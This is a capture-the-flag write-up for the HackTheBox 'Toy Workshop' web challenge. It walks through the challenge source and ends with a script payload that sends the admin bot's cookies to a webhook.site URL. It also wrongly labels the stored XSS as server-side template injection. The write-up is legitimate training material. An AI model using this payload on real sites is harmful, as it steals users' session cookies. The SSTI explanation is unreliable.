Toy Workshop

Event: Cyber Santa is Coming to Town – 2021 HackTheBox

Category: web

PTS: 300

Description:

The work is going well on Santa’s toy workshop but we lost contact with the manager in charge! We suspect the evil elves have taken over the workshop, can you talk to the worker elves and find out?

In the webpage we can send a message to the elf-manager and nothing else.

Looking at the source code we can see what’s going on behind the scene once we press the “send” button.

  1. The first file is obviously the index.js
//routes/index.js
router.post('/api/submit', async (req, res) => {
    const { query } = req.body;
    if(query){
        return db.addQuery(query)
            .then(() => {
                bot.readQueries(db);
                res.send(response('Your message is delivered successfully!'));
            });
    }
    return res.status(403).send(response('Please write your query first!'));
});

Let’s go step by step, we enter the db.addQuery(arg) function with our input as argument and simply add it to the database:

//database.js
async addQuery(query) {
    return new Promise(async (resolve, reject) => {
        try {
            let stmt = await this.db.prepare('INSERT INTO queries (query) VALUES (?)');
            resolve(await stmt.run(query));
        } catch(e) {
            reject(e);
        }
    });
}

Once completed this action we move to the bot.readQuery(db) function passing the db element

// bot.js
const cookies = [{
    'name': 'flag',
    'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}'
}];


const readQueries = async (db) => {
    const browser = await puppeteer.launch(browser_options);
    let context = await browser.createIncognitoBrowserContext();
    let page = await context.newPage();
    await page.goto('http://127.0.0.1:1337/');
    await page.setCookie(...cookies);
    await page.goto('http://127.0.0.1:1337/queries', {
        waitUntil: 'networkidle2'
    });
    await browser.close();
    await db.migrate();
};

As you can see they open a browser on the index.js, set a cookie called flag with our flag as value, move to the queries page and wait until it’s loaded, at that point it kills the browser element and erase the database with the query.
Now we know where our flag is, inside the cookie of an internal request to the queries.hbs page.

<!-- queries.hbs -->
        <p class="pb-3">Welcome back, admin!</p>
        <div class="dash-frame">
            {{#each queries}}
            <p>{{{this.query}}}</p>
            {{else}}
            <p class="empty">No content</p>
            {{/each}}
        </div>
    </body>


This is not a static webpage, they use the curly brackets for dynamic loading of elements, sometimes two and sometimes three brackets.
The difference is that with a double “{{ }}” the element is simply displayed, while with a triple “{{{ }}}” it get’s evaluated.
We can evaluate code, js code, we have a Server Side Template Injection or SSTI.

We cannot simply show in a console.log or an alert the cookie cause it’s an internal visualization of the page, it’s not happening on our browser perhaps we have to exfiltrate them.
Webhook allow us to see if a domain(supplied by them) gets some incoming request giving us the chance to easily receive possible data that we’re trying to exfiltrate.

Using the fetch element supplied by JS we can build a simple post request and direct it to our webhook link

<script>
fetch('https://webhook.site/efdd7b78-1661-4e6e-97e9-0e95a9311f73', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

Sending this snippet and waiting couple of seconds will result in a new element on the webhook interface with our flag as Raw Content: